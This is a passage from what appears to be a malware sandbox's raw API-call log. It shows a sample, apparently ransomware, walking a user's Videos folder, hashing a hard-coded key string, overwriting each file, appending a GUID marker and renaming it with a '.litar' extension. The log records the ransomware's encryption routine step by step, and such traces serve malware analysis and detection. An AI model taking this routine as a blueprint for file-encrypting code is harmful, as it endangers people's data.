lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.293] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x41bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.293] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.294] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.294] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.294] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.294] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.294] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.294] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.294] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.294] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.294] CloseHandle (hObject=0x624) returned 1 [0126.295] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.295] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.295] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\1XL3nUBpXBByeYM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\1xl3nubpxbbyeym.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\1XL3nUBpXBByeYM.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\1xl3nubpxbbyeym.avi.litar")) returned 1 [0126.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.295] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.296] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.296] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8986c920, ftCreationTime.dwHighDateTime=0x1d4c68c, ftLastAccessTime.dwLowDateTime=0x15d99630, ftLastAccessTime.dwHighDateTime=0x1d4cb3a, ftLastWriteTime.dwLowDateTime=0x15d99630, ftLastWriteTime.dwHighDateTime=0x1d4cb3a, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bps8RA.avi", cAlternateFileName="")) returned 1 [0126.296] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.296] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.296] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.296] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\bps8RA.avi") returned=".avi" [0126.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\bps8RA.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\bps8ra.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.297] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=1228) returned 1 [0126.297] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.298] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.299] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.300] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.300] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.300] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.300] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x4cc, lpOverlapped=0x0) returned 1 [0126.300] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.300] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.300] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.300] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.300] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.301] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.301] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.301] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.301] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.301] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.301] GetLastError () returned 0x0 [0126.301] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.301] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.301] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4d0) returned 0x30fa0b0 [0126.301] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.301] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x4c7, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x4c7, lpOverlapped=0x0) returned 1 [0126.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.301] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.302] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.302] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.302] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.302] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.302] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.302] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.302] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.302] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.302] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.302] CloseHandle (hObject=0x624) returned 1 [0126.302] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.302] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.303] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.303] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\bps8RA.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\bps8ra.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\bps8RA.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\bps8ra.avi.litar")) returned 1 [0126.303] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.303] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.304] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.304] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e72a70, ftCreationTime.dwHighDateTime=0x1d4cd7d, ftLastAccessTime.dwLowDateTime=0x937572f0, ftLastAccessTime.dwHighDateTime=0x1d4d47f, ftLastWriteTime.dwLowDateTime=0x937572f0, ftLastWriteTime.dwHighDateTime=0x1d4d47f, nFileSizeHigh=0x0, nFileSizeLow=0x58d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cpBN4K954GbZNf.mp4", cAlternateFileName="CPBN4K~1.MP4")) returned 1 [0126.304] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.304] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.304] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.304] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\cpBN4K954GbZNf.mp4") returned=".mp4" [0126.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\cpBN4K954GbZNf.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\cpbn4k954gbznf.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.305] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=22741) returned 1 [0126.305] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.307] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x58af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.307] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.309] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.309] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.309] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.309] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x58d5, lpOverlapped=0x0) returned 1 [0126.309] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.309] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.309] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.309] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.309] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.310] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.310] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.310] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.310] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.310] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.310] GetLastError () returned 0x0 [0126.310] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.310] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x58e0) returned 0x30fa0b0 [0126.311] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.311] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.311] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x58d0, lpOverlapped=0x0) returned 1 [0126.311] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.311] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x58d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.311] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.311] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.311] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.311] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.311] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.311] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.311] CloseHandle (hObject=0x624) returned 1 [0126.312] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.312] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.312] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.312] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\cpBN4K954GbZNf.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\cpbn4k954gbznf.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\cpBN4K954GbZNf.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\cpbn4k954gbznf.mp4.litar")) returned 1 [0126.313] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.313] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.314] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.314] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb70b5e40, ftCreationTime.dwHighDateTime=0x1d4d3f9, ftLastAccessTime.dwLowDateTime=0x857d8bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc04, ftLastWriteTime.dwLowDateTime=0x857d8bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc04, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FlfRA9", cAlternateFileName="")) returned 1 [0126.314] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.314] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.314] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0126.314] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.314] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.314] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb1cee0, ftCreationTime.dwHighDateTime=0x1d4ce29, ftLastAccessTime.dwLowDateTime=0x8765cda0, ftLastAccessTime.dwHighDateTime=0x1d4c8ec, ftLastWriteTime.dwLowDateTime=0x8765cda0, ftLastWriteTime.dwHighDateTime=0x1d4c8ec, nFileSizeHigh=0x0, nFileSizeLow=0x67b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GpZ VRAn1yi_-.swf", cAlternateFileName="GPZVRA~1.SWF")) returned 1 [0126.314] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.314] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.314] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.314] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\GpZ VRAn1yi_-.swf") returned=".swf" [0126.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\GpZ VRAn1yi_-.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\gpz vran1yi_-.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.314] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=26550) returned 1 [0126.314] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.316] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6790, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.316] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.318] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.318] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.318] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.318] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x67b6, lpOverlapped=0x0) returned 1 [0126.318] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.318] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.318] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.318] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.318] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.319] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.319] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.319] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.319] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.319] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.319] GetLastError () returned 0x0 [0126.319] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.319] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.319] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.319] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x67c0) returned 0x30fa0b0 [0126.320] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.320] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x67b1, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x67b1, lpOverlapped=0x0) returned 1 [0126.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.320] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x67b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.320] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.320] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, 